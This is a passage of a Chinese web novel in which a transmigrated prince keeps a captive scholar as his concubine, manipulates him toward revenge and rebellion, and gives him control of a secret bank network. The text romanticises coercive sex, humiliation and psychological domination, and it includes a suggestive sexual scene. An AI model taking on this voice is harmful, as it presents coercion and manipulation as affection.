他后退一步,从身后将裴湛拥入怀中,下巴抵着他的发顶,不答反问:“湛湛,你可知你裴家为何会落得如此下场?” 话罢,怀中的身体瞬间僵硬。 嵇燕台给出答案,“皇权之下,皆为蝼蚁。” 他长叹一声,不紧不慢地往下说:“你学的是圣贤书,走的是光明道,讲的是仁义礼智信……. “可你的仇人并非如此。” “那人端坐于东宫,脚下是累累白骨,信奉的是权谋机变,是斩草除根,你用君子之道去对付豺狼,如何能赢?” 嵇燕台的手臂微微收紧, “你学的那套东西,太规矩,太干净,也太软弱了,在真正的权力倾轧面前,不堪一击。” “想向一国之储君讨还血债,形同谋反,你要学习的是狠辣手段,是洞察人心的权术,是合纵连横的谋略,是为你所用的忠志死士。” “这些….…我都能帮你得到。” 嵇燕台松开怀抱,扳过裴湛的肩膀,与其四目相对,一字一句地问道:“可此路凶险,需不择手段方能达成目的…….” “湛湛,你有这份决心吗?” 裴湛似被这番话怔住了。 嵇燕台盯着他,耐心十足地等待回答。 原著中,裴湛沦陷岭南王府那两年,宛如泥菩萨过河,自身都难保,还要惦念着被岭南王把持着的侄儿裴允书,自然顾不上复仇之事。 想着、念着、却无力为之。 而裴湛决意造反的契机,是他与侄儿刚摆脱了岭南王,还没离开这块地界之际,忽然听闻恩师容含章触怒圣上,被下了大狱,只等秋后问斩。 恰时,他与容阙在岭南重逢、相认。 再之后,便是两大一小隐姓埋名,跟随商队返回京城,却没能见到容含章最后一面。 老者不明不白地死在狱中。 狱卒只拿草席一裹,将尸身丢到了乱葬岗。 那一夜,裴湛与容阙在乱葬岗翻了许久,天上电闪雷鸣,他们跪在老者的遗体边,望着他灰青的脸,满身的拷打伤痕,愤恨无从宣泄。 轰隆隆。 雷光划破天际,雨点骤下。 裴湛两手伏地,重重一叩首,头抬起来时,浑身已被雨水打湿,他满脸泪痕,神情决绝地对容阙说:“寻真,我们回去吧。“ “——回岭南!” 自此,裴湛与容阙两人,一文一武,又带着个天资聪颖的裴允书,隐匿在岭南发展势力,硬生生掀翻了晟朝,讨回了一个公道。思绪回笼。 嵇燕台想起了那个被烧掉的牌位,只觉得裴湛到底是个读书人,心太软,偏偏在珍视之人,珍视之物被毁灭时,爆发出坚决刚毅的意志。他不担心此刻的裴湛会做出另一个选择。 虽与原著的走向不同,但他提前知晓裴家血案的真相,成天只有一件伺候男人的要紧事,闲暇时刻多得是…… 多到,足以让仇恨发酵成一座大山。 果不其然。 书房里的死寂很快被打破了。 裴湛神情平静,眼底翻涌着极复杂的情绪。 裴家无中生有的谋逆罪名、允书至今未愈的失语之症、以及恩师的低声教诲…… 不要惦念着复仇,放下吧。 如何放下? 他掀起眼帘,望进岭南王那双深不见底,仿佛能吞噬一切光亮的眸中,轻声道:“王爷,稚子无辜,更不应被仇恨牵连…… “若是裴湛殒命,可否替我照拂允书?” 嵇燕台盯了他好一会儿,连连点头,随即放声大笑,“好,好,本王当视他如己出!” 紧接着,他扣着裴湛的肩,用力地吻住那两瓣唇,舌尖勾连许久,方尝够了味道,“湛湛,好孩子应该得到什么?” 裴湛被他吻得胸膛剧烈起伏,眸光微漾,唇色艳如胭脂,“….奖励。” 嵇燕台点头,重复道:“对,奖励。” 说完,他指着暗格里的箱子,缓缓道:“那里面装的是—前朝霁灵帝生前藏匿的宝藏,被本王从地底下挖了回来,储存于此。” 裴湛双目略微睁大。 嵇燕台笑了笑,掀开箱盖,随手拨开那一摞摞泛黄的信纸,从角落里翻出一枚玉质上佳的圆形玉佩。 这枚玉佩以龙纹为底,正中央雕刻着一个古怪图案,是一个棱角分明,边长相等的五角之形。 一截红绳穿过玉佩顶端的孔洞,曾经鲜艳的朱红已被岁月淘洗,褪成了黯淡的绯色。 嵇燕台将这枚玉佩挂在了裴湛的腰间。 他面带微笑,沉声道:“湛湛,本王教你的第二件事,便是隐匿锋芒。日后晟朝太子倒台,必定是霁朝余孽心怀不轨,与你我有何干系?” 笑死。 造反哪有实名制亲身上阵的? 不打紧,他身份证多。 292、Chapter 292 ……霁灵帝的宝藏? 裴湛垂下眸,注视着腰间那枚圆形玉佩。 玉佩的外圈是龙首交缠,中央嵌着一个线条简洁的图纹,边角锐利,与龙纹相对比,透露出一股微妙的冲突与融合。 自古以来,龙纹便是天家的标识。 裴湛并不陌生。 然而,位于玉佩中央的图纹…… 裴湛居然也觉得无比眼熟。 他心头巨震猛地抬眼望向身前的男人,一句话脱口而出:“鸿兴钱庄…….竟是前朝霁灵帝留下的势力?” 纵使朝代更替,百姓却还是那些百姓。 裴湛的母亲擅经商,少不得要跟钱庄来往,因此他对各大钱庄亦有所了解。 鸿兴钱庄是一家有口皆碑的百年老字号,商铺遍布南北,牌匾上的棱星徽记广为人知,可谁能想到它是前朝皇帝遗留的产业呢? 嵇燕台被裴湛的表情逗笑了。 有这么惊讶吗? “区区一个钱庄,倒叫你如此失态,”他抬手捏住裴湛的下巴,轻晃两下,“若是本王告诉你鸿兴钱庄的幕后老板是江南巨富谢家,你岂不是眼珠子都要掉下来了?” 闻言,裴湛的呼吸一滞。 —江南巨富,谢家。 电光火石之间,裴湛像是想到了什么,当即讶然道:“江南谢家与霁朝文臣谢芳同出一脉?他们是同一个‘谢?” 嵇燕台唇角微勾,笑意深长。 “是啊,谁能想到呢。” 谢芳是霁朝文臣,亦为当世大儒,曾在宫中担任教导皇子一职,深得皇帝信任,即使是太子见了他,也要恭恭敬敬喊一声老师。 他有一个老来子,其名谢昙。 谢昙全无老父的才情,生性愚钝,一提经史子集就昏昏欲睡,在宫中做伴读时,时常遭到皇子们的暗中嘲笑。 也是挨手板最多的那个。 当时,嵇燕台好不容易苟出冷宫,终于获得了一个读书扫盲的机会。 学堂里,别的皇子看起来都光鲜亮丽,粉雕玉琢,只他一个面黄肌瘦,头发枯黄,还被当做透明人排挤。 啧。真是天崩开局。 为了避免学习太好,遭到嫉妒,从而引发后宫皇子妈的杀意,嵇燕台假装跟不上学习进度,面对谢芳的提问更是一个字都答不上来。 打手板排行榜,他排第二。 也正因如此,嵇燕台才跟谢昙有了交集。 在他的主动接近下,两个学渣很快变得惺惺相惜,在外头罚站时,也时常会压低声音,偷摸说些小话了。 “我不喜欢读书,我就喜欢钱。” 谢县举着那只被戒尺打得红肿刺痛的左手,两只眼睛泪汪汪的,“我喜欢打算盘、数金豆豆、银锭子,怎么都不累,偏生一读书就困…” “爹…谢太傅说我胸无大志…… 嵇燕台果断偷家了。 娃娃要从小抓起,羽翼也要从小培养。 他一边给自己被打红的手心呼呼吹气,一边小声说:“圣贤书和商贾之道哪有三六九等之分,三百六十行,行行出状元,只要你能做到顶尖,谁还敢说你胸无大志?” 说完,他又洋洋洒洒说了一大堆。 谢县被他一套又一套的现代商业企划糊了两耳朵,久久没回过神来,两只泪眼几乎冒出光来,心潮也洁湃拜,当即引嵇燕台为知己,想要做出一番事业来。 鸿兴钱庄,便是少年谢昙隐姓埋名,白手起家办下的第一份产业。 只能说,嵇燕台把他忽悠得不轻。 谢昙出钱出力,他就是动了动嘴皮子。 钱庄的名字是嵇燕台起的,牌匾上那个棱星徽记也是嵇燕台的构思。在第一家钱庄开业前夕,他还将一块棱星玉佩赠予谢昙,以此为纪念。 不是裴湛腰间的这一块。 这块玉佩有龙纹,谢昙是受不得的。 实际上,这两块玉佩是 皇帝养成系统’出品的道具,是谢昙对他好感度高达八十的奖励,附带绑定忠诚度的效果。 道具不一定要是玉佩的形态。 或许是因为当时的嵇燕台还没有变态,亲手设计出来的玉佩仍带有现代社会的光辉,其本质用途却象征着权力支配。 这也为他与谢昙的结局埋下了伏笔。 毕竟,嵇燕台登基后的第一件事,就是罢了谢芳的官职,命其举家迁离国都槐安,永世不得返。 圣旨下达后,谢昙于宫门前长跪不起。 嵇燕台并没有召见他。 自此,君臣不复见. …… 嵇燕台还以为,此世间不会有鸿兴钱庄了。 在穿成岭南王的伊始,他命卫都搜罗霁朝相关的事迹和史料,方才得知 离开槐安之后,谢芳郁郁而终,只留下两句遗言。 其一,谢家后代不得踏入庙堂。 其二,将谢昙逐出家门,亲缘断绝。 时光流转,岁月如梭。 谢昙早就老得入了土,世间无人将江南谢家与霁朝元老谢芳联系在一起,更没有人知晓鸿兴钱庄与谢昙的渊源。 可现在,鸿兴钱庄还在。 它怎么还在。 这时候,一道很短的抽气声将嵇燕台从过往思绪拉回来,就见裴湛抿起唇,下巴已经被他捏出了几个重重的红印子。 他没说话,只安静地注视着嵇燕台。 眉眼淡然,眸光沉静。 “王爷?” 听到这声儿,嵇燕台才慢悠悠地抽回手,脸上重新挂起笑模样,还一把将人拢入怀中哄,“本王手下没轻没重的,一时不留神,弄疼你了。” “本王任你罚,好不好?” 话毕,他捏起裴湛的左手,径直往自己的肩上拍打,笑吟吟地说:“权当给湛湛赔罪了。” 那力道浅得很。 嘴上说得好听罢了。 谁知道,裴湛的掌心一落到他的肩上,就像是黏住了。嵇燕台察觉到他的肢体似有些迟疑,便也不动作了。 “怎么了?”他问。 裴湛没吭声。 嵇燕台等了一会儿,心想刚才该不会是把人吓到了吧?正想再问一句,就发现肩上那只掌心开始往肩后移动,逐渐爬向他的背…… 最后,裴湛单手抱住了他。 不知怎的,嵇燕台脸上的笑淡了一瞬。 “这是做甚么?”他问道,“是许久不曾伺候了,想与本王亲近亲近?” 半晌。 裴湛在他怀里摇了摇头,鬓发蹭着嵇燕台的下颌,带出 阵微弱的痒,“让王爷不快,是裴湛有失本分,还不曾谢过王爷的扶持与奖赏,如何能让王爷向我赔罪?” 嵇燕台笑了笑,“还是你会说话。” 随即,他挑起裴湛的下巴,让对方倚靠着自己的肩侧,一下下地吻在那几个指印上,一边吻还一边说,“好好好,不说什么赔罪了。” “你这样乖,本王爱得紧。” “张嘴,教本王仔细尝一尝,莫不是这阵子蜜饯吃多了,嘴巴怎么甜丝丝的?” 登时,裴湛说不出话了。 好一阵绵长的唇齿交接后,嵇燕台将话题拉回正轨,“江南谢家如何,不好说,但鸿兴钱庄分号遍布各地,光是京中就有好几家……”. 他示意了一下,继续说:“单凭此玉佩,往后鸿兴钱庄便是你的耳目了。” 这份‘奖励 的分量,远超裴湛的预期。 他没想到岭南王会将这般庞大且隐秘的情报网交到自己手中,一时间,竟不知是好是坏,一颗心坠坠的,又有些跃然。 如此一来,他便能知晓京中动向。 再者,去岁匆匆一别…… 不知恩师今朝如何了。 裴湛的神情微怔,嵇燕台则完全回神了。他的目光依次扫过裴湛泛红的面颊、湿润的眼角、以及微肿的唇,忍不住调笑道:“这便呆住了?” “还没完呢。” 嵇燕台退开两步,手指又在一块不起眼的雕花木饰上,以某种特定的角度轻轻一拧。 机括声再度响起。 那个装有箱子的暗格旁,竟露出一条幽深向下的密道入口! 嵇燕台非常满意卫都的做事效率。 书房装修自然不需要一个月的时间了,但若是从书房向外挖一条密道呢? 密道有些长,稍有曲折。 出口定在一处民宅。 这是一座三进院落,地段繁华,位置却极为巧妙隐蔽。院墙高耸,隔绝了外界窥探的目光,院中栽了一株高大的梧桐树。 树顶亭亭如盖,枝叶在风中沙沙作响。 继大书房之后,嵇燕台又带着裴湛在宅子里慢慢走了一圈。 最后,他在正堂站定。 嵇燕台从怀中掏出一把黄铜钥匙,将其塞入他的左掌心,“钥匙给你,往后联络鸿兴钱庄,传递消息,皆可由此进出。” 钥匙沉甸甸的,带着男人的余温。 裴湛知道天上不会掉馅饼,玉佩与钥匙的分量太重了,像极了藏有毒药的甜糕。 看似诱人,实则入口封喉。 可他…无法拒绝。 嵇燕台知道裴湛不会拒绝的。 就像是快要饿死的人无法抗拒眼前的热食,裴湛或许会警惕,但他不会拒绝。毕竟在岭南王府和皇城天家面前,他实在太无力,也太渺小了。 他没有拒绝的资本。 两人循着原路,返回王府。 嵇燕台揉了揉眉心,轻叹道:“乏了,走了一路,回去歇着吧。” 裴湛刚将那块带有龙纹的玉佩,以及宅院钥匙收入怀中,便给男人拉着往外走。 刚出书房,他瞥见隔壁还有一间敞开门窗透风的小书房,脚步不由得顿了一瞬。 里面布置得温馨雅致。 最为醒目的,是屋中那套明显为孩童量身打造的小桌椅。 桌面上还摆放着十二个生肖木雕。 雕工精湛,栩栩如生。 嵇燕台发现裴湛落后一步,便顺着他的目光看去,语气平淡极了,“给小允书准备的。他的哑疾虽未愈,身子骨倒是结实不少。” 一路沉默。 “也该继续读书了。” 裴湛的目光在那小桌椅上停留了一会儿,心神怔怔,不知道该说什么,只是愈发沉默了。 是夜。 裴湛躺在锦帐之内,了无睡意。 那枚圆形玉佩被他握在左手心,温润的玉质贴着皮肤,却带着灼人的温度。他用指腹一遍遍描摹着上头的雕刻纹路。 岭南王也还未睡下。 屏风那头亮得很,隐约透出一道侧影。 男人半倚在床头,就着床边一盏琉璃小灯,正闲闲地翻看着一卷话本,手一动作,便擦出细小的声响。 倏然,裴湛掀开锦被,坐起身。 嵇燕台注意到屏风那头的影子在闪动。 裴湛大概是干坐了一会儿,然后绕过屏风,坐到了自己的床边。脚下没有一丁点声响。 嵇燕台没有抬眼,随口问:“怎么了?” 一片寂静。 那个身着寝衣的人只是抬起手,指尖带着一丝不易察觉的微颤,搭上了嵇燕台的裤腰带。 “王爷……”他声音也轻,像是一阵风,吹得烛光摇得更厉害了,“可要裴湛为您疏解一二?” 话音刚落。 嵇燕台翻书的动作一顿,目光缓缓从书页上移开,落在那人有些发烫的脸上,“湛湛,你这是旱了一个月,要本王为你降下甘霖了?” 他长叹一声,“算了吧。” “常老先生有叮嘱,如今你的手伤还未完全恢复,不可激烈活动,磕着碰着了,本王又该心疼了。” 裴湛垂着脑袋,声音更轻,“不碍事。” 怎么个不碍事法呢? 嵇燕台一晃眼,那人便俯了下来。 他随手将话本甩到地上,整个人往后靠,眼睛不由自主地半眯起来,忽然长嘶了一声…… “乖乖,注意牙。” “叫本王磕着碰着,你往后该守活寡了。”. …… 烛火燃去小半截。 嵇燕台攒了半日的小情绪被吃了个干净,困意很快追上来,他抚摸着裴湛的头顶,夸奖道:“本王最喜欢知恩图报的好孩子了。” “去睡吧。” “等你好了,本王再……. 兴许是身体轻快些了,嵇燕台睡得格外沉。 一夜无梦。 临睡前,他闭着眼睛,脑海里浮现出裴湛侧身坐在桌边漱口的模样,一头长发披散在身后,有些凌乱。耳根一片红。眼神躲躲闪闪,不敢回看。 啧。爽飞了。 坏心情一扫而空。 293、Chapter 293 那天之后,嵇燕台向裴湛开放了书房。 此举的意义非同一般。 这就意味着—在岭南王府中,裴湛不再是个单纯以色侍人的后院男宠,在前院拥有了一定的话语权,算是府中的半个正经主子了。 放在从前,他是决计使唤不了卫都的。 府中下人的心思更加活络,都想在他的院子里争一份差事,哪怕是给那条狗逗逗乐呢? 足以见得,嵇燕台出手确实大方。 也不怪裴湛那晚辗转反侧,心中隐有不安,支着仍需静养的身子主动来伺候了他一回,就连再过分的要求,也默认了。 倒也不是什么要命的事儿。 人家忍着臊、耐着羞、心里不知道做了多大的准备,嵇燕台早不嫌、晚不嫌、偏偏在这时候嫌他功夫笨拙,第二天便又送了一个果盘过去。 要他学着给葡萄藤打结。 见裴湛接过果盘,嵇燕台还故意拉长声音,提醒道:“可惜可叹,你生得一具男儿身,无论本王如何浇灌,都是无用功……” “自然要在别处上进一些了。” 裴湛困于王府后宅半年之久,全然不似初入府的那一夜,被他踩着肩调侃几句,便难以自抑地红了眼眶,脸色苍白至极。 嵇燕台自觉深藏功与名。 接下来一段时间,裴湛与裴允书都忙起来了。 嵇燕台仍旧深藏功与名。 尽管裴湛得了那块玉佩,却也不能凭空取得鸿兴钱庄,想要真正掌控这一势力,首先就得了解钱庄背后之事。 嵇燕台已将线索摆在明面上了。 就在书房里。 至于裴允书……也在书房里呢。 早在描画书房图纸之时,嵇燕台就顺手给小孩儿定制了一套课程表,让先生照本宣科即可。 他反手将这一大一小送入书房,自己当了甩手掌柜,整日在院子里逗狗。 松狮犬大福从一只小团子长成了大团子,仍是那副圆滚滚的模样,四肢粗短有劲,跑起来像一团白色毛球,有时还会摔个大跟斗。 傻兮兮的。 嵇燕台手里拿着小厨房为它准备的肉干,以及特制的磨牙骨棒,勾着傻狗围着自己跳来跳去,发出呜呜的措娇声。 “吃饱了吗?” 他笑着揉了揉大福的脑袋,而后漫不经心地回头,透过书房半敞的窗,瞥见裴湛伏案的侧影。 天气正好,光影重重。 那人一身青衣,轮廓清俊且挺拔,紧抿的唇线表露了他的全神贯注。 见状,嵇燕台眼底掠过一抹笑意。 他将大福抱到怀里,捏起它毛茸茸的耳朵,又揉着它鼓起来的肚皮,打趣道:“乖狗狗,你可以用肉糜和骨头喂饱,那个人可不行……” 要以仇恨、以权力。 大福听不懂他说什么,一味地摇尾巴 … 书房里。 裴湛正在阅读一本霁朝史记。 史官的笔触冰冷且吝啬,其中涉及霁灵帝的生平记载甚是简短,寥寥几句,一个冷酷暴戾的帝王形象跃然而出。 最后,裴湛的视线落在记载末段。 —登基之日,天降神罚。 世间多奇怪。 然而,裴湛读的书多了,便知奇怪之事多是有心之人作祟,背后往往隐藏着不为人知的秘密。 若真有神罚,为何世间总有不公? 合上书卷,裴湛非但未能解惑,反而对这个仅在位一天的帝王产生了更多疑窦。他抬起头,目光不由自主地飘向书架上的暗格机关。 那里面,藏着霁灵帝的亲笔手稿。 岭南王给予他探寻书房秘密的自由,裴湛隐隐觉得,男人对此乐见其成,甚至是鼓励的。 思及此处,裴湛心中微沉。 岭南王辱过他,也多次助过他。 裴湛知道男人心思深沉,此番作为绝不可能是为了自己,必定藏有其他目的,此刻自己正被对方牵着鼻子走。 半晌。 裴湛不动声色地叹了一口气。 他别无选择。 于是,裴湛拨动机关,打开暗格,从未盖合的箱子里取出了一沓沓杂乱堆放的手稿。 稿纸质地不一,有些是上好的宣纸,有些则是粗糙的草纸,甚至还有些是随手撕下的残片。 无一例外,上面写满了字。 那日匆匆一瞥,裴湛未看清纸上写了什么,如今仔细端详,他才发现手稿上全是由怪异符号和简化图形组成的文字,如同天书。 他一个字都看不懂。 裴湛沉默片刻,忽然想起了一件事。 两日前,岭南王忽说要教考他的课业。 在男人的注视下,裴湛将一段洗干净的葡萄藤塞入口中,唇紧闭,不一会儿便探出舌尖,露出那段打成结的果藤。 岭南王看得满意,笑着将他招过去,对他又搂又亲,冷不丁把手里的一卷书册塞到了他怀中,说这是给他的…… 奖励。 后来裴湛翻了翻那卷书,不明其意。 那是一本纸张泛黄且边缘磨损的薄册子,里面记录的不是诗词文章,而是一个个看似无关联,随意排序,实则遵循某种规律的文字。直至这一刻,他才恍然明悟。这本册子是用来翻译霁灵帝手稿的母本。他究竟写了什么? 裴湛心知这是岭南王刻意引导,仍是不可避免地生出几分探究欲。 他深吸一口气,拿起最上面一张手稿,对照着册子,开始逐字逐句地翻译,再用左手书写下来。 起初,进度很缓慢。 裴湛的右手还提不动笔,再加上手稿的数量不少,工程繁琐至极,好在他耐得下性子,又很快摸清了规律,速度渐渐快了起来。 七八日一晃而过。 裴湛才堪堪译出半数手稿。 在此过程中,他看到了一个与史官记载截然不同的霁灵帝。 稿纸上记录的是一幅幅宏大的蓝图,涉及吏治改革、农田水利、商事赋税、军制演变……甚至还有对教育、律法的诸多构想。 这些构想一环扣一环,视野之开阔,思虑之深远,令裴湛眼前一亮,深思细想之下,不由得自惭学识浅薄。 而霁灵帝写下这些手稿时,至多十八岁 裴湛心底的好奇愈发强烈。 在这些亲笔稿纸中,他分明读出了霁灵帝的兼爱仁义之心,为何在史官的记载中,那人却是一个为登大位,不惜弑父杀兄的残暴之人? 这位早已作古的帝王究竟是一个怎样的人呢? 倘若他真的残暴至此,为何昔日被贬谪的离心臣子仍为他保留着一股势力? 谜团太多,裴湛看不透。 他忍不住放下笔,抬起左手捏了捏眉心,舒缓自己一连翻译了近两个时辰的疲倦。 再睁眼。 裴湛恍然发觉,日头已向西移去。 透亮的光线染上一抹銮金浓色,落在桌上泛黄的稿纸间,仿佛一簇天火,将其烫出数个破洞。 错觉而已。 不过……裴湛视线稍移,注视着部分残缺的稿纸,缺口边缘不平齐,有些焦黑,隐约能嗅到丝丝缕缕的烧焦味。 确实有人企图烧掉这些稿纸。 是谁? 裴湛沉眸,心中骤然浮现了一个名字。 恰时,窗外传来几声模糊的呜汪声。 裴湛放下笔,循声望过去,瞧见岭南王站在远处的庭院中逗弄大福。 男人捏着一条肉干,勾得那条短腿小狗扑腾来扑腾去,他则优哉游哉地旁观着,玩够了,才将肉干喂给它。 ……他似乎总是这样。 偏偏大福还感恩戴德地绕着他脚下打转,身后的尾巴几乎甩出残影,舌头探出来,一副喜乐无忧的活泼模样。 不知想起了什么,裴湛的长睫颤了颤,双唇不自觉地闭紧。 正巧一阵风刮过,吹得桌上稿纸微微作响,他连忙低下头,想要将这些绝密信纸收拾齐整,放回暗格中。 单手的动作有些慢。 收拾期间,他忽然瞥见岭南王弯腰将大福抱起来了,修长的指节陷入大福蓬松的毛发间,另一只手掀着它的一侧耳朵,似在耳语。 夕光的色泽愈沉,从銮金变成了另一种更加浓郁的胭色,松狮犬的毛发一并染了色,抱着它的男人轮廓颀长,背影挺拔,看不清五官。 晚风还在刮。 裴湛捏着新的旧的纸,微微出神。 终于,最后一缕浮光消散了。 回过神时,裴湛猝不及防地撞入一双隐在暗处的眼眸中—是岭南王,他不知什么时候转过身来了,正远远地注视着自己。 夜色稀薄。 他的轮廓却深邃极了。 两个侍女提着灯路过,被他拦下来,截住了手里的灯笼,还回去一只圆滚滚的松狮犬。 裴湛垂着眼,余光里是男人一步步走过来的身影,姿态仍是悠悠闲闲的。 烛火被纱罩裹住,晕出柔和的光。 岭南王的五官被这团光擦出来了,他的眉眼英俊,弓骨和鼻梁挺拔,眼窝尤其深,一双眸子吸饱了烛光,却明亮不起来,反而更加幽深了。 裴湛脑中多是他皮笑肉不笑的模样。 不多时。 男人提着灯,站到了窗边。 两人隔着一扇半敞的窗对望,裴湛见岭南王朝自己勾了勾手指,就像是召大福那样。而他只能放下手中的物件,用镇纸牢牢压住,然后恭顺地靠过去。 曾几何时。 自己也是冲男人摇过尾巴的。 或许他与大福没什么区别。 “王爷。”裴湛低声道。 嵇燕台倚在窗边,将灯笼伸进书房里,照亮屋中人的脸,笑吟吟地道了声,“湛湛,你方才莫不是在偷看本王?” 哈哈。 他真的很会倒打一耙。 裴湛大概是在看大福吧。 虽然平日里不显,但岭南王府里这两个姓裴的小家伙都挺喜欢动物的,嵇燕台如此想着,嘴上不饶人,追问道:“看呆了?” 空气沉默。 裴湛给出一个绝对不会出错的回答,“王爷英俊不凡,天人之姿。” 嵇燕台满意地点了点头,又勾勾手指,“再过来些,本王抬着臂照明,多累人啊…… 话音落下,裴湛又挪了几步。 两人之间的距离缩到最短,不足小臂宽。 见他想要从自己手中接过提灯,嵇燕台的手一避,语调很温柔,“你右手有伤,左手又要提笔写字,好生歇着吧。” 说完,他叹了口气, “本王不过是想同你亲近些罢了。” 紧接着,嵇燕台话锋一转,继续调戏人,“本王如今的皮相,与你可相配?” 窗里的人很快应道:“裴湛身如草芥,实在不值一提,幸得王爷错爱,萤火怎敢与日月争辉。” 读书人的小嘴真是叭叭甜。 嵇燕台又问:“那赏你一亲芳泽可好?” 裴湛默了几息,随即俯身靠过来,‘主动’在他唇上落了一吻,又被嵇燕台擒住了舌尖,好一番戏弄。 两道影子融成一块,映在窗上。 裴湛到底是古人,骨子里还是保守,尽管只是一个吻,却因身处书房而紧张得呼吸不稳,嵇燕台的脑子里瞬间闪过一连串坏念头。 “谢王爷赏。” 嵇燕台听到这声儿,忍不住笑了笑,不再轻薄人了,转移了话题, “乖乖,现在库房钥匙在你手里,明日你记得开了库房,取出那株御赐的参王,送到常先生的院里。” 闻言,裴湛抿了抿唇。 岭南王府的库房里有不少好东西,那株百年野山参更是珍品中的珍品,可那日他饮了麻沸散,模模糊糊听到常医师说…… 岭南王是以此为谢礼,将人请过来的。 裴湛忽觉喉根发紧,莫名有些窘迫,“多谢王爷为我费心,裴湛无以为报。” “湛湛。““啪嗒。” “怎么没有?” 嵇燕台截住裴湛的话,随即拂着他的侧脸,低声道:“本王后院空虚,从未想过枕边会有他人酣睡,可那日见了你,本王方知世间还有人能勾起自己的心头欲|火,纵使手段酷烈了些,也是难忍此爱。” 他唤了声,继续说:“你已经报答我了。” 嵇燕台脸上浮出一抹微笑,说不出的悠然且神秘,像是月光从他脸上淌过,清清凉凉的,又带着几分幽冷。 裴湛看出他眸中的真切,不由得一怔。 “快些收拾吧,允书该等急了,”嵇燕台在他耳后揉了几下,又安抚了一句,“不必介怀,库房里的物件皆有价格,没什么舍不得的,你才是本王心目中的…”“无价之宝。” 在裴湛将稿纸收入暗格的过程中,嵇燕台百无聊赖地支着下巴靠在窗边,冷不丁听到系统的电子音,…宿主,你说话好油哦。” “哦,那又怎么了?” 嵇燕台想了想,说:“油得很爽,就喜欢看别人只能任我油,又干不掉我的样子。” 他争了一辈子皇位,还不能享受享受吗? 书房里,书架后方。 裴湛动作轻慢地将东西放回了暗格中,然后按照岭南王教导自己的手法,在触发机关的花瓶底部旋拧了一下。 暗格顿时回位。 裴湛缓步往门口走去,屋子里已经很暗了,窗边的人也没了影,门缝里却钻进来一缕缕微光,正当他要拉开门的时候— 裴湛隐约听到一声闷响。 他回头,再没捕捉到异样的响动。 收回视线后,裴湛望着书房门外的那道人影轮廓,暗自呼出好长一口气,才将门推开了。 岭南王站在那里。 夜色深了。 男人的轮廓还是那样分明,让人不敢靠近,又无法远离,裴湛将自己的手轻轻放在对方递过来的掌中,动作熟练又自然。 两手合扣,冬天的凉意好似减了一分。 不知为何,裴湛却打了个寒颤。 294、Chapter 294 感谢小天使们的798瓶营养液~ 晚膳过后,常有道提着药箱过来了。 他照例为裴湛检查缝合处,针灸穴道,又叮嘱侍女以湿布包裹着烧烫的鹅卵石,为其热敷,走之前还在桌上留下一罐新调制的祛疤药膏。 药膏确有奇效。 裴湛涂了有几天了,腕间那道蜈蚣形伤疤淡了许多,看起来没有那么狰狞暗沉了,仿佛新生的嫩肉,有些粉。 不一会儿。 侍女端着棉布、水盆、以及炭炉进了里屋。炉中置了一张铁网,炭火隔着这张网,将鹅卵石烧得微微发红。 “本王来吧。” 当侍女正用铁钳夹取鹅卵石之际,嵇燕台嫌弃地丢开手中桥段老套的话本子,如此说道。 他的话一出,侍女便退下了。 裴湛坐在桌边,右臂平放在桌面上,脸上的表情也不惊奇。 他早就习惯岭南王想一出是一出的性子了,有一回起了兴,还替自己洗过澡。 药浴滚烫,雾气腾腾。 男人手持水瓢,一下下往他身上泼水,结束时浴桶里的水位降了许多,地上全是湿的,侍女们不知收拾了多久。 这也不怪嵇燕台。 古代的娱乐生活太贫瘠了。 他又不像原著里的岭南王,天天逛夜总会,最近又被禁了闺房趣事,少不得要找点别的事情打发时间了。 “呲、呲……. 滚烫的石头裹在湿布中,挤出细微的声响,嵇燕台拎着布包,轻轻放在裴湛的臂上,瞥见他的手指颤了颤,问:“烫疼你了?” “忍一忍,烫些才有效。” 裴湛微微颔首,轻声道:“多谢王爷,王爷千金贵体,却为我操劳,裴湛不胜感激。” 嵇燕台笑了笑,“乖,不枉费本王待你好。” 除了在床上,他跟裴湛的日常交流倒是单调得很,无非就是他没事干,逮着人调戏,发出各种油言油语。而裴湛则全盘接收,还得谢谢他呢。 嵇燕台很喜欢他的懂事。 就连那陆罐功效极佳的祛疤药膏,也是裴湛主动向常有道要求的——在嵇燕台盯着那道丑陋的缝合疤,叹了一口气的第二天。 偶尔,嵇燕台还会暗笑他的天真。 就比如现在。 兴许是自己帮着他热敷了一回,裴湛当晚又睡不着了,无声无息地从屏风那头钻过来,上赶着要履行男妾本分,伺候他。 这人到底是年轻。 嵇燕台刁难他、折辱他、他方能应对。 然而,如今嵇燕台对他愈发好,他反而有些坐不住了,明知两人之间不存在 公平 二字,一直都是从上至下的掠夺,却还是企图用自己的身体来平这笔账。 读书人的高道德感? 亦或者,想把这一切定义为‘交易’? 大概二者皆有吧。 嵇燕台看着裴湛坐在床边,轻声询问自己要不要服侍,既觉得他天真可爱,又觉得他实在可怜。 真以为陪了睡,偿了身,能守住心? 狗屁。轮不到他。 烛火幽幽,昏暗得紧。 嵇燕台假模假样地叹了一口气,轻轻攥住了裴湛伸过来的左手腕,将人拉到自己怀里抱住,语调慈悲, “湛湛,你不必如此战战兢兢,本王的宠爱岂是什么洪水猛兽,让你夜不能寐?” 怀中人摇了摇头。 好 会儿,他才轻声说:“府中事务繁忙,裴湛一连数日滞留书房……却也不曾疏忽王爷吩咐的功课,想让王爷亲自检验一番罢了。” 嵇燕台笑而不语。 他的指尖穿过裴湛的鬓角,一下下地捋着那头顺滑长发,“哎呀,这么乖呀?你以前对待老师的功课,也是如此勤奋吗?” 闻言,裴湛的呼吸一顿。 嵇燕台知道他师从容含章,前头又逼迫裴湛烧了人家儿子的牌位,这时候忽然提起来,难免有搞事的嫌疑…… 裴湛迟疑片刻,含含糊糊地嗯了一声,然后主动抛出了一个问题,“王爷……您看过那箱子里的霁灵帝手稿吗?” “嗯?问这个做什么?” 嵇燕台将他平放到床上,自己则侧过身,手肘支着枕头,居高临下地睨着人,语气却带笑,“自然是看过的,不过是些浪费时间的废纸罢了,不值一提。”裴湛抿唇不语。 嵇燕台窥见他眸中一闪而过的不赞同,忍不住抬手捏了捏他的面颊,“怎么了?” “本王说错什么了?” 不等裴湛回话,他就凑上前,在对方唇边连连落吻,“好好好,你接着说,本王听着便是。” “手稿中,有一篇《大同策论》…裴湛的目光投向帐顶,喃喃道,“构想着实奇崛,引人深思,王爷认为霁灵帝所描绘的那个大同世界’是痴人说梦,还是…… 嵇燕台盯着他沉浸于现代思想中的侧脸,忽然低低地笑了起来,笑那时的自己过于天真,跟此时的裴湛几乎一模一样。 “谁知道呢。” “湛湛真是心怀大义。” 